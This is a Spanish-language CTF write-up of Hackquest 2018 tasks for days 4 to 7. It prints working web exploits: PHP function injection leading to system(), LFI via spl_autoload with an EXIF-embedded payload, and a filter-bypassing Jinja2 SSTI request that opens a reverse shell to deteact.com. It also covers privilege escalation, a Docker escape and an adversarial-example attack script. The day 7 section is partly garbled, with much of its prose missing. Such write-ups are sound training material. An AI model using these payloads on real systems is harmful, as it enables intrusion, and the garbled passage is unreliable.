Hackquest 2018. Resultados y reseñas. Día 4-7

Según lo prometido, publicaremos la segunda parte de las decisiones anuales de hackquest. Día 4-7: ¡aumenta la tensión y las tareas son más interesantes!


Contenido:




Día 4. Imagehub


Esta tarea fue preparada por SPbCTF .

Nuestra nueva creación matará a Instagram. Te convenceremos en solo dos palabras:

1. Filtros Nuevos filtros nunca antes vistos para sus imágenes cargadas.
2. Almacenamiento en caché. El servidor HTTP personalizado garantiza que los archivos de imagen lleguen al caché del navegador.

Pruébalo ahora mismo! imagehub.spb.ctf.su

Corre / get_the_flag para ganar.
Servidor personalizado binario: dppth

Consejos
25/10/2018 20:00
La tarea no se resolvió. 24 horas agregadas.

25/10/2018 17:00
Hay dos errores que conocemos. El primero te da las fuentes de la aplicación web, el segundo te da RCE.

Resumen:


Ejecutable:

  • ELF x86_64
  • Implementa un servidor http simple
  • Si el archivo solicitado tiene un bit ejecutable, se pasa a php-fpm
  • El código implementa el almacenamiento en caché de etag personalizado

Elemento web:

  • Tiene funcionalidad de carga de archivos. La imagen se puede modificar utilizando filtros predefinidos.
  • Página de administración con Basic en /? Admin = show

Vulnerabilidad: lectura de código fuente


La funcionalidad de caché parece interesante, porque podemos hacer que el servidor controle el rango arbitrario del archivo (incluso el rango de 1 byte)

Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
Hash_function:
 def etag_hash(data): v16 = [0 for _ in range(16)] v16[0] = 0 v16[1] = 0x1DB71064 v16[2] = 0x3B6E20C8 v16[3] = 0x26D930AC v16[4] = 0x76DC4190 v16[5] = 0x6B6B51F4 v16[6] = 0x4DB26158 v16[7] = 0x5005713C v16[8] = 0xEDB88320 v16[9] = 0xF00F9344 v16[10] = 0xD6D6A3E8 v16[11] = 0xCB61B38C v16[12] = 0x9B64C2B0 v16[13] = 0x86D3D2D4 v16[14] = 0xA00AE278 v16[15] = 0xBDBDF21C hash = 0xffffffff for i in range(len(data)): v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff return (~hash) & 0xffffffff 


Lamentablemente, etag se elimina para archivos ejecutables (* .php):

 stat_0(v2, &stat_buf); if ( stat_buf.st_mode & S_IEXEC ) { setHeader(a2->respo, "cache-control", "no-store"); deleteHeade(a2->respo, "etag"); set_environment_info(a1); dup2(fd, 0); snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url); 

Todavía hay una comprobación antes de la ejecución de la página, por lo que si adivinamos correctamente el valor etag ( if-none-match ), el servidor nos enviará una respuesta de estado 304 No modificado . Usando esto, podemos aplicar el código fuente de fuerza bruta byte a byte.

 v11 = getHeader(&s.request, "if-modified-since"); if ( v11 ) { v3 = getHeader(&v14, "last-modified"); if ( !strcmp(v11, v3) ) send_status(304); } v12 = getHeader(&s.request, "if-none-match"); if ( v12 ) { v4 = getHeader(&v14, "etag"); if ( !strcmp(v12, v4) ) send_status(304); } exec_and_prepare_response_body(&s, &a2a); 

Resumamos lo que tenemos de RE:

  1. La marca de tiempo se puede leer fácilmente desde el encabezado de respuesta de última modificación (cadena -> marca de tiempo).
  2. El rango permite tener una longitud de un byte (por lo que obtendremos hash solo por un byte)
  3. El hash se puede adivinar para un rango de 1 byte (256 valores posibles)
  4. El tamaño es fuerza bruta, pero necesitamos saber al menos un byte del archivo de destino.
  5. Como nos gustaría obtener la fuente de los archivos * .php, es una buena suposición que el archivo está comenzando con "<? Php".

El primer paso será obtener el tamaño, y el segundo es obtener el contenido real del archivo.
Con código multihilo alcancé la velocidad de ~ 1 char / sec, y volqué algunos archivos:
index.php
 <?php // error_reporting(0); if (isset($_GET["admin"]) && (!isset($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW'] !== '888b2f04eef9a49fc87fa81089b736de')) { header('WWW-Authenticate: Basic realm="Admin Area"'); header('HTTP/1.0 401 Unauthorized'); } require "upload.php"; $uploader = new ImageUploader(); $result = $uploader->upload(); if ($result === true) die(); if ($result > 0) { echo "Error: " . $result; } if ($uploader->upload() !== true) { include "templates/main.php"; } 


upload.php
  <?php require "includes/uploaderror.php"; require "includes/verify.php"; require "includes/filters.php"; class ImageUploader { const TARGET_DIR = "51a8ae2cab09c6b728919fe09af57ded/"; public function upload() { $result = verify_parameters(); if ($result !== true) { return $result; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $size = intval($_POST['size']); if (!move_uploaded_file($_FILES["imageFile"]["tmp_name"], $target_file)) { return UploadError::MOVE_ERROR; } $text = $_POST['text']; $filterImage = $_POST['filter']($size, $text); $imagick = new \Imagick(realpath($target_file)); $imagick->scaleimage($size, $size); $imagick->setImageOpacity(0.5); $imagick->compositeImage($filterImage, imagick::CHANNEL_ALPHA, 0, 0); header("Content-Type: image/jpeg"); echo $imagick->getImageBlob(); return true; } } 

incluye / filtros.php
 <?php function make_text($image, $size, $text) { $draw = new ImagickDraw(); $draw->setFillColor('white'); $draw->setFontSize( 18 ); $image->annotateImage($draw, $size / 2 - 65, $size - 20, 0, $text); return $image; } function futut($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function incasinato($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(130,100,255,3)' ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function fertocht($size, $text) { $image = new Imagick(); $s = $size % 255; $pixel = new ImagickPixel( "rgba($s,$s,$s,127)" ); $image->newImage($size, $size, $pixel); $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function jebeno($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(0,255,255,255)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i*10) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-($size-$j)) % 255; $a = ($alpha['a']) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } function kuthamanga($size, $text) { $image = new Imagick(); $pixel = new ImagickPixel( 'rgba(127,127,127,127)' ); $image->newImage($size, $size, $pixel); $iterator = $image->getPixelIterator(); $i = 0; foreach ($iterator as $row=>$pixels) { $i++; $j=0; foreach ( $pixels as $col=>$pixel ) { $j++; $color = $pixel->getColor(); $alpha = $pixel->getColor(true); $r = ($color['r']+$i) % 255; $g = ($color['g']-$j) % 255; $b = ($color['b']-$i) % 255; $a = ($alpha['a']+$j) % 255; $pixel->setColor("rgba($r,$g,$b,$a)"); } $iterator->syncIterator(); } $image = make_text($image, $size, $text); $image->setImageFormat('png'); return $image; } 


incluye / uploaderror.php
  <?php class UploadError { const POST_SUBMIT = 0; const IMAGE_NOT_FOUND = 1; const NOT_IMAGE = 2; const FILE_EXISTS = 3; const BIG_SIZE = 4; const INCORRECT_EXTENSION = 5; const INCORRECT_MIMETYPE = 6; const INVALID_PARAMS = 7; const INCORRECT_SIZE = 8; const MOVE_ERROR = 9; } 


incluye / verificar.php
  <?php function verify_parameters() { if (!isset($_POST['submit'])) { return UploadError::POST_SUBMIT; } if (!isset($_FILES['imageFile'])) { return UploadError::IMAGE_NOT_FOUND; } $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]); $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION)); $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]); if($imageFileInfo === false) { return UploadError::NOT_IMAGE; } if ($_FILES["imageFile"]["size"] > 1024*32) { return UploadError::BIG_SIZE; } if (!in_array($imageFileType, ['jpg'])) { return UploadError::INCORRECT_EXTENSION; } $imageMimeType = $imageFileInfo['mime']; if ($imageMimeType !== 'image/jpeg') { return UploadError::INCORRECT_MIMETYPE; } if (file_exists($target_file)) { return UploadError::FILE_EXISTS; } if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) { return UploadError::INVALID_PARAMS; } $size = intval($_POST['size']); if (($size <= 0) || ($size > 512)) { return UploadError::INCORRECT_SIZE; } return true; } 


Esto nos da:
  • Nombre de usuario / contraseña para Admin Basic. Completamente inútil, solo imprime cadena:
    Congratz Ahora puedes leer las fuentes. Ir más profundo
  • Inyección de funciones (FI) en la entrada ' filtro '.
  • La validación de carga de imágenes ahora está clara para nosotros.
  • Se utiliza la biblioteca ImageMagic. Asumir que se usa para explotar es un punto muerto. No creo que haya ninguna forma de explotarlo sin depender de FI.

Vulnerabilidad: Inyección de funciones


El archivo upload.php tiene un código sospechoso:

 $filterImage = $_POST['filter']($size, $text); 

Podemos simplificarlo a:

 $filterImage = $_GET['filter'](intval($_GET['size']), $_GET['text']); 

En realidad, puede detectar esta vulnerabilidad simplemente haciendo algo de fuzzing. Enviar nombres de funciones como " var_dump " o " debug_zval_dump " en la entrada ' filter ' dará como resultado respuestas interesantes del servidor.

 int(51) string(10) "jsdksjdksds"</code> So, its not hard to guess how server side code looks like. If we had an write permission to www root, than we could just use two functions: <code>file_put_contents(0, "<?php system($_GET[a]);") chmod(0, 777) 

Pero no es nuestro caso. Hay al menos dos formas de resolver la tarea.

vector filter_input_array (solución no deseada): vector RCE


Mientras pensaba en posibles formas de obtener RCE, noté que la function filter_input_array nos da un control bastante bueno sobre la $filterImage variable .

Pasar la matriz de filtro como segundo argumento permitirá construir una matriz arbitraria en el resultado de la función.

Pero ImageMagic no espera obtener nada además de la clase Imagick. :(

Puede ser que podamos deserializar la clase de la entrada? Busquemos argumentos de filtro adicionales en la descripción de filter_input_array .

No se menciona en la página de funciones en sí, pero en realidad podemos pasar una devolución de llamada para la validación de entrada . ¡El ejemplo FILTER_CALLBACK es para filter_input , pero también funciona para filter_input_array !

Esto significa que podemos "validar" entradas de usuario personalizadas utilizando la función con un argumento (eval? System?), Y tenemos control sobre el argumento.

 FILTER_CALLBACK = 1024 

Ejemplo para obtener RCE:

 GET: a=/get_the_flag POST: filter=filter_input_array size=1 text[a][filter]=1024 text[a][options]=system submit=1 

Respuesta:

 *** Wooooohooo! *** Congratulations! Your flag is: 1m_t3h_R34L_binaeb_g1mme_my_71ck37 -- SPbCTF (vk.com/spbctf) 

Línea buscada : 1m_t3h_R34L_binaeb_g1mme_my_71ck37

Definitivamente algo se sentía mal, porque ¿por qué necesitaríamos obtener el código fuente? ¿Solo por una pista? ¿Por qué los archivos cargados se almacenaron en el disco? ¿No es más conveniente no almacenar archivos basura de los usuarios del desafío?

La coincidencia en la denominación filter = filter _input_array, text [a] [ filter ] me dio la confianza de que todo se hizo como se esperaba (" filtros nunca antes vistos", marque ✓).

vector spl_autoload: vector LFI


Después de enviar la solución, uno de los autores del desafío se puso en contacto conmigo y me dijo que mi vector no estaba destinado y que se puede usar otra función ( spl_autoload ):

No es obvio cómo podemos usar esta función porque se supone que debe cargar una clase "<class_name>" del archivo llamado "<class_name> <some_extension>". La firma es la siguiente:

 void spl_autoload ( string $class_name [, string $file_extensions = spl_autoload_extensions() ] ) 

Nuestro primer argumento solo puede ser un número (1-512), por lo que el nombre de la clase es un ... ¿número? ... raro.
El argumento de extensión también parece inutilizable, los archivos controlados son un nivel más profundos que upload.php (necesitamos pasar un prefijo).

Esta función realmente puede darnos un LFI si se usa de esta manera:

 spl_autoload(51, "a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg") 

El nombre del directorio se adquiere del código fuente filtrado. Y tuvimos suerte, porque si el primer carácter del nombre fuera algo más que número -> no podríamos incluir archivos desde allí.

Entonces ... todo lo que necesitamos ahora es pasar un "tipo de validez" ( getimagesize debe aceptarlo) * .jpg archivo con código php modificado. Se adjunta un ejemplo simple (carga útil php en exif).

Suba como 1111.jpg y haga:

OBTENER
a = / get_the_flag

POST:
filter = spl_autoload
tamaño = 51
text = a8ae2cab09c6b728919fe09af57ded / 1111.jpg
enviar = 1

Respuesta:
... .JFIF ... Exif MM * . " (. . .i . . D . D .. V ..
*** Wooooohooo! ***

Congratulations! Your flag is:
1m_t3h_R34L_binaeb_g1mme_my_71ck37

-- SPbCTF (vk.com/spbctf)

Línea buscada : 1m_t3h_R34L_binaeb_g1mme_my_71ck37
La carga y LFI se pueden hacer en una sola solicitud.



Día 5. Tiempo


Esta tarea fue preparada por el equipo de seguridad digital
Lo primero que necesitas es dominar el tiempo, el segundo es ir más allá del mundo pequeño. Después de eso, obtendrás un arma contra el nivel final del jefe. Buena suerte

51.15.75.80

Consejos
27/10/2018 16:00
Oh, ¿cuántos dispositivos en una caja ... son realmente útiles?
27/10/2018 14:35
Si pudo hacer frente al filtro en el panel de tiempo, puede utilizar las capacidades de un sistema completo. No seas tímido
27/10/2018 14:25
Comprueba el host virtual y no te detengas en 200
26/10/2018 19:25
La tarea no se resolvió. 24 horas agregadas.
26/10/2018 17:35
Usa todas tus capacidades.
26/10/2018 12:25
No necesita ningún software forense para completar ninguna etapa de una tarea.

1) Wordpress


Inicialmente, nos dieron la dirección 51.15.75.80 .
Ejecutamos hehdirb: vemos el directorio / wordpress /. Vaya inmediatamente al panel de administración en admin: admin .
En el panel de administración, vemos que no hay privilegios para cambiar las plantillas, por lo que no puede obtener RCE. Sin embargo, hay una publicación oculta:
25/09/2018 POR ADMINISTRADOR
Privado: notas sobre el panel de tiempo
inicio de sesión: cristopher
contraseña: L2tAPJReLbNSn085lTvRNj
host: timepanel.zn

2) SSTI


Obviamente, debe ir al mismo servidor especificando el host virtual timepanel.zn.
Iniciamos hehdirb en este host: vemos el directorio / adm_auth, vamos con el nombre de usuario y la contraseña que se proporcionan arriba. Vemos el formulario en el que debe ingresar las fechas ("desde" y "hasta") para obtener información. Al mismo tiempo, vemos un comentario en el código HTML de respuesta donde se reflejan las mismas fechas:

 <!- start time: 2018-10-25 20:00:00, finish time:2018-10-26 20:00:00 -> 

Obviamente, el error aquí probablemente debería estar relacionado con esta reflexión, y es poco probable que sea XSS, así que intente SSTI:

 start=2018-10-25+20%3A00%3A00{{ 1 * 0 }}&finish=2018-10-26+20%3A00%3A00 

La respuesta es:

 <!- start time: 2018-10-25 20:00:000, finish time:2018-10-26 20:00:00 -> 

Al enviar {{self}}, {{'a' * 5}}, nos damos cuenta de que se trata de Jinja2 , pero los vectores estándar no funcionan. Al enviar vectores sin {{corchetes}}, vemos que la respuesta no refleja los caracteres "_" y algunas palabras, por ejemplo, "clase". Este filtro se omite fácilmente mediante el uso de request.args y la construcción | attr (), así como la codificación de algunos bytes con una secuencia de escape.

Consulta final para backconnect
POST /adm_main?sc=from+subprocess+import+check_output%0aRUNCMD+%3d+check_output&cmd=bash+-c+'bash+-i+>/dev/tcp/deteact.com/8000+<%261' HTTP/1.1
Host: timepanel.zn
Content-Type: application/x-www-form-urlencoded
Content-Length: 616
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.DrOOLQ.ROX16sOUD_7v5Ct-dV5lywHj0YM

start={{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg','w')|attr('write')(request.args.sc) }}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f')|attr('\x5f\x5f\x6dro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(2)|attr('\x5f\x5fsubcl\x61sses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(40)('/var/tmp/BECHED.cfg')|attr('read')() }}
{{ config|attr('from\x5fpyfile')('/var/tmp/BECHED.cfg') }}
{{ config['RUNCMD'](request.args.cmd,shell=True) }}
&finish=2018-10-26+20%3A00%3A00


3) LPE


Habiendo recibido RCE, entendemos que necesita elevar los privilegios a root. Hay varias rutas falsas (/ usr / bin / special, /opt/privesc.py y algunas más) que no quiero describir, ya que solo toman tiempo. También hay un binar / usr / bin / zero, que no tiene un bit suid, pero resulta que puede leer cualquier archivo (solo envíele la ruta codificada en hexadecimal en stdin).

El motivo son las capacidades (/ usr / bin / zero = cap_dac_read_search + ep).
Leemos la sombra, configuramos el hash para que se cepille, pero mientras está cepillado, creemos que necesitamos leer el archivo de otro usuario que está en el sistema:

$ echo /home/cristopher/.bash_history | xxd -p | zero

Puedo leer algo para ti
su
Dpyax4TkuEVVsgQNz6GUQX

4) Docker escape / Forense


Entonces, tenemos una raíz. Pero este no es el final. Ponemos apt install extundelete y encontramos varios archivos más interesantes en el sistema de archivos que están relacionados con la siguiente etapa:

Para obtener un ticket, debe cambiar una imagen para que se identifique como "1". Tienes un modelo y una imagen. curl -X POST -F image=@ZeroSource.bmp 'http://51.15.100.188 {6491 / predic'.

Entonces, ahora nos enfrentamos a la tarea estándar de generar un ejemplo competitivo para el modelo de aprendizaje automático. Sin embargo, en esta etapa todavía no podía obtener todos los archivos que necesitaba. Fue posible hacer esto solo poniendo el agente R-Studio en el servidor y abordando el análisis forense remoto. Casi habiendo sacado lo que necesitaba, descubrí que, de hecho, el contenedor de Docker se ejecuta en un modo que le permite montar todo el disco

Hacemos mount / dev / vda1 / root / kek y obtenemos acceso al sistema de archivos host, y al mismo tiempo acceso root a todo el servidor (ya que podemos poner nuestra propia clave ssh). Sacamos KerasModel.h5, ZeroSource.bmp.

5) ML Adversario


La imagen muestra inmediatamente que la red neuronal está entrenada en el conjunto de datos MNIST. Cuando intentamos enviar una imagen arbitraria al servidor, obtenemos la respuesta de que las imágenes difieren demasiado. Esto significa que el servidor mide la distancia entre los vectores, porque quiere exactamente un ejemplo de confrontación, y no solo una imagen con la imagen "1".

Intentamos el primer ataque que obtenemos de foolbox: obtenemos el vector de ataque, pero el servidor no lo acepta (la distancia es demasiado grande). Luego me adentré en la naturaleza, comenzando a rehacer las implementaciones de One Pixel Attack bajo MNIST, y nada funcionó, ya que este ataque usa el algoritmo de evolución diferencial, no es gradiente e intenta encontrar el mínimo estocástico, guiado por cambios en el vector de probabilidad. Pero el vector de probabilidades no cambió, ya que la red neuronal era demasiado segura.

Al final, tuve que recordar sobre la pista que estaba en el archivo de texto original en el servidor - "(Normilize ^ _ ^)". Después de una cuidadosa normalización, fue posible llevar a cabo el ataque de manera efectiva utilizando el algoritmo de optimización L-BFGS, a continuación se muestra el exploit final:

 import foolbox import keras import numpy as np import os from foolbox.attacks import LBFGSAttack from foolbox.criteria import TargetClassProbability from keras.models import load_model from PIL import Image image = Image.open('./ZeroSource.bmp') image = np.asarray(image, dtype=np.float32) / 255 image = np.resize(image, (28, 28, 1)) kmodel = load_model('KerasModel.h5') fmodel = foolbox.models.KerasModel(kmodel, bounds=(0, 1)) adversarial = image[:, :] try: attack = LBFGSAttack(model=fmodel, criterion=TargetClassProbability(1, p=.5)) adversarial = attack(image[:, :], label=0) except: print 'FAIL' quit() print kmodel.predict_proba(adversarial.reshape(1, 28, 28, 1)) adversarial = np.array(adversarial * 255, dtype='uint8') im = Image.open('ZeroSource.bmp') for x in xrange(28): for y in xrange(28): im.putpixel((y, x), int(adversarial[x][y][0])) im.save('ZeroSourcead1.bmp') os.system("curl -X POST -F image=@ZeroSourcead1.bmp 'http://51.15.100.188:36491/predict'") 

Línea buscada : H3y_Y0u'v_g01_4_n1c3_t1cket



Día 6. Impresionante vm


Esta tarea fue preparada por el equipo de la escuela CTF .
¡Mira un nuevo servicio de capacitación! zn.sibears.ru:8000

En este momento queremos involucrarte en una prueba beta de una nueva máquina virtual creada especialmente para probar las habilidades de programación de nuestros novatos. Hemos agregado protección intelectual contra las trampas y ahora queremos verificar todo antes de ofrecer el platfotm. La VM le permite ejecutar programas simples ... ¿o no solo?

goo.gl/iKRTrH

Consejos
27/10/2018 16:20
¿Quizás puedas engañar o evitar el sistema de IA?

Descripción:




El servicio es un sistema de validación para archivos con la extensión .cmpld aceptada por el intérprete sibVM. La tarea que debe resolver el programa enviado es calcular la suma de los números que figuran en el archivo input.txt, algo que recuerda a una competencia acm. Además, la descripción de la interfaz web indica que los programas enviados se verificarán utilizando inteligencia artificial.

El servicio consta de dos contenedores Docker: web-docker y prod_inter .

web-docker no es particularmente interesante para el análisis. Todo lo que hace es traducir el archivo enviado al contenedor prod_inter, dentro del cual sucede todo lo más interesante. El fragmento de código correspondiente se presenta a continuación:


En el contenedor prod_inter , el archivo enviado se verifica y ejecuta en los datos de prueba. Para cada envío, se crea un nuevo directorio en / tmp / al azar, donde el archivo enviado se guarda con un nombre aleatorio. El archivo flag.txt también se coloca en el directorio creado, que probablemente sea nuestro objetivo.

Entonces comienza la parte divertida: si el archivo es mayor que 8192 bytes, entonces el archivo de entrada del programa se verifica utilizando inteligencia artificial. La IA es una red neuronal ultraprecisa previamente entrenada. Si la prueba fue exitosa (los datos de entrada son más de 8192 bytes, y la red neuronal los asignó a la primera clase), el programa se ejecuta en cinco pruebas diferentes, y el resultado se envía en un mensaje de respuesta y se muestra al usuario.

Si el tamaño de los datos de entrada es inferior a 8192 bytes, o no pasaron la prueba por la red neuronal, antes de probar el programa verifica la presencia de la subcadena flag.txt y si intenta abrir un archivo con el mismo nombre. El acceso al archivo flag.txt se supervisa ejecutando el programa en el entorno limitado de secfilter , basado en tecnologías SECCOMP , y analizando el registro de ejecución. A continuación se muestra el código de servicio correspondiente y un ejemplo de un registro al intentar abrir un archivo prohibido:





Para resolver esta tarea, generé un conjunto de programas para el intérprete sibVM que abren el archivo flag.txt y muestran el valor numérico del i-ésimo byte del archivo. Al mismo tiempo, cada programa pasa con éxito la prueba de IA. A continuación, se presentará un análisis de superficie de la red neuronal y una descripción del funcionamiento de la máquina virtual.

Análisis de redes neuronales.


El modelo de red neuronal entrenado está contenido en el archivo cnn_model.h5. La siguiente es información general sobre la arquitectura de red.



No sabemos qué reconoce exactamente la red neuronal, por lo que trataremos de proporcionarle varios datos. De la arquitectura de la red está claro que en la entrada recibe una imagen de un solo canal de tamaño 100X100. Para evitar el efecto de escala en el resultado, utilizaremos secuencias de 10,000 bytes convertidos en una imagen usando las funciones utilizadas en el servicio. A continuación se muestran los resultados de la operación de una red neuronal en varios datos:



Según los resultados, se puede suponer que la red neuronal recibirá imágenes con un predominio de colores negros (cero bytes). Lo más probable es que escribir un programa que lea caracteres de bandera requerirá significativamente menos de 1000 bytes significativos (el resto puede llenarse con ceros), y luego la IA aceptará el programa enviado.

En consecuencia, para resolver la tarea, queda por escribir el programa deseado.

Intérprete SibVM


Estructura del programa
El primer paso es comprender la estructura del archivo del programa. Durante el reverso del intérprete, resultó que el programa debería comenzar con un determinado encabezado con varios campos de servicio, seguido de un conjunto de entidades con identificadores, entre los cuales debería haber una entidad principal de tipo Función.

Comprobación de encabezado de archivo


Recuperando Registros


Procesando registros y lanzando la función principal


El resultado es el siguiente formato de archivo de entrada:



Tipos de datos


El intérprete admite varios tipos de entidades. A continuación se muestra una tabla y sus identificadores, que en el futuro serán necesarios para construir el programa.



Construyendo un programa para el intérprete


Como se mencionó anteriormente, el programa debe tener una entrada principal con el tipo Función (5). Tiene el siguiente formato:



No fue difícil averiguar el ciclo principal de ejecución del programa.

Ciclo de ejecución principal


La función decode_opcode recupera información sobre la próxima operación del código del programa. Los primeros dos bytes de cada operación contienen el código de operación, el número de argumentos y su tipo. Los siguientes bytes (según el tipo y la cantidad de argumentos) se interpretarán como argumentos de la operación.

El formato de los dos primeros bytes de la operación:



A continuación, revisaremos algunas instrucciones que nos ayudarán a extraer la bandera del sistema.

Gráfico del intérprete de comandos, función execute_opcode


  • Opcode 0: abre el archivo (el nombre de archivo se especifica mediante el argumento de operación y es de tipo String) y coloca su contenido en la parte superior de la pila como un objeto de tipo ByteArray .
  • Opcode 2: muestra el valor almacenado en la parte superior de la pila. Desafortunadamente, esta operación no mostrará el valor de un objeto de tipo ByteArray . Para resolver este problema, puede obtener el elemento i-ésimo de la matriz y mostrarlo.

Procesando el código de operación 2


  • Opcode 13: tomar un elemento de una matriz por índice. La matriz y el índice de elementos se extraen de la pila, el resultado se inserta en la pila. En consecuencia, para compilar un programa de trabajo, es necesario colocar el índice en la pila.
  • Opcode 7: inserta el argumento de la operación en la pila.

Como resultado, el programa consta de solo 4 operaciones:




Programa final


Línea buscada : bandera {76f98c7f11582d73303a4122fd04e48cba5498}



Día 7. Recurso oculto


Esta tarea fue preparada por RuCTF .

Dado el servicio n24.elf . Simplemente autorice en 95.216.185.52 y obtenga su bandera.

Consejos
28/10/2018 20:00
La tarea no se resolvió. 24 horas agregadas.

La encuesta del servidor para el acceso utilizando protocolos de conexión estándar mostró el acceso a través de SSH (puerto 22). El archivo proporcionado es un ejecutable ELF (que fue sutilmente insinuado por la extensión en el nombre) para Linux.

 #file UwRJ8iaEEd4tSQIe_n24.elf UwRJ8iaEEd4tSQIe_n24.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, stripped 

El uso de la utilidad de cadenas mostró la presencia de las líneas "/home/task/.ssh" y "/home/task/.ssh/authorized_keys". Conclusión sobre la posibilidad de acceso al archivo de clave de autorización sin contraseña SSH desde el archivo ejecutable ELF (en lo sucesivo denominado el servicio).

La tabla de símbolos contiene las funciones necesarias para abrir archivos y escribir:

 # readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep fopen 23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5 (2) # readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep write 32: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 (2) 

La tabla de símbolos también contiene funciones para trabajar con sockets, para crear procesos y para contar MD5.

El reverso del archivo mostró la presencia de una gran cantidad de saltos (algún tipo de ofuscación). Al mismo tiempo, se realizan saltos entre bloques de código, que en general se pueden dividir en varios tipos:

  • « OF », ( objdump):

      95b69b: 48 0f 44 c7 cmove rax,rdi 95b69f: 48 83 e7 01 and rdi,0x1 95b6a3: 4d 31 dc xor r12,r11 95b6a6: 71 05 jno 95b6ad <MD5_Final@@Base+0x2d83f9> 95b6a8: e9 f4 bf e1 ff jmp 7776a1 <MD5_Final@@Base+0xf43ed> 95b6ad: e9 1f 1a de ff jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 

    , OF «xor», «and» .
  • , . . , :

     95b401: c7 04 25 2b b4 95 00 mov DWORD PTR ds:0x95b42b,0x34be74 95b408: 74 be 34 00 95b40c: 66 c7 04 25 01 b4 95 mov WORD PTR ds:0x95b401,0x13eb 95b413: 00 eb 13 95b416: 4c 0f 44 da cmove r11,rdx 95b41a: 48 d1 ea shr rdx,1 95b41d: 48 0f 44 ca cmove rcx,rdx 95b421: 49 89 d3 mov r11,rdx 95b424: 48 89 ca mov rdx,rcx 95b427: 4c 89 da mov rdx,r11 95b42a: e9 8d ad e7 00 jmp 17d61bc 
  • , .

MD5. , . « MD5_Init », « MD5_Update » « MD5_final ».

, API . , , , , . .

ELF . «/home/task/.ssh/» .

. , , , . . Netstat 5432 (UDP).

 # netstat -ulnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:5432 0.0.0.0:* 13611/./UwRJ8iaEEd4 

(4 ) :
 #echo "test" > /dev/udp/127.0.0.1/5432 # Verifying 74657374 009ec3b8 

.
– gdb. , , recvfrom backtrace. 0x6ae010.

 6ae00b: e8 d0 2b d5 ff call 400be0 <recvfrom@plt> 6ae010: e9 64 bc ea ff jmp 559c79 <MD5_Update@@Base+0x953fc> 559c79: 89 45 80 mov DWORD PTR [rbp-0x80],eax 559c7c: 83 f8 ff cmp eax,0xffffffff #   ,  -1 559c7f: 0f 84 62 7f 1c 00 je 721be7 <MD5_Final@@Base+0x9e933> 559c85: e9 8a d6 2c 00 jmp 827314 <MD5_Final@@Base+0x1a4060> 827314: 48 c7 c7 30 d1 f0 00 mov rdi,0xf0d130 82731b: 48 29 27 sub QWORD PTR [rdi],rsp 82731e: 48 89 df mov rdi,rbx 827321: e8 5f 94 fe ff call 810785 <MD5_Final@@Base+0x18d4d1> 827326: e9 d7 a5 2d 00 jmp b01902 <MD5_Init@@Base+0x7569> b01902: 85 c0 test eax,eax b01904: 0f 84 dd 02 c2 ff je 721be7 <MD5_Final@@Base+0x9e933> b0190a: e9 7c a9 bb ff jmp 6bc28b <MD5_Final@@Base+0x38fd7> 


0x810758 .
break 0xb01902, .

( rax)
(gdb) b *0xb01902
Breakpoint 2 at 0xb01902
(gdb) c
Continuing.
Verifying 74657374
00f82488

Breakpoint 2, 0x0000000000b01902 in MD5_Init ()
(gdb) info reg rax
rax 0x0 0

0 . , , 0.

gdb, MD5_Update ( «test»).

Resultado
 (gdb) b MD5_Update Breakpoint 3 at 0x4c487d (2 locations) (gdb) c Continuing. Verifying 74657374 Breakpoint 3, 0x00000000004c487d in MD5_Update () (gdb) info reg rsi rsi 0x7fffffffdd90 140737488346512 (gdb) x/20bx $rsi 0x7fffffffdd90: 0x74 0x65 0x73 0x74 0x0a 0xff 0x7f 0x00 0x7fffffffdd98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdda0: 0x00 0x00 0x00 0x00 (gdb) info reg $rdx rdx 0x200 512 


Resultado


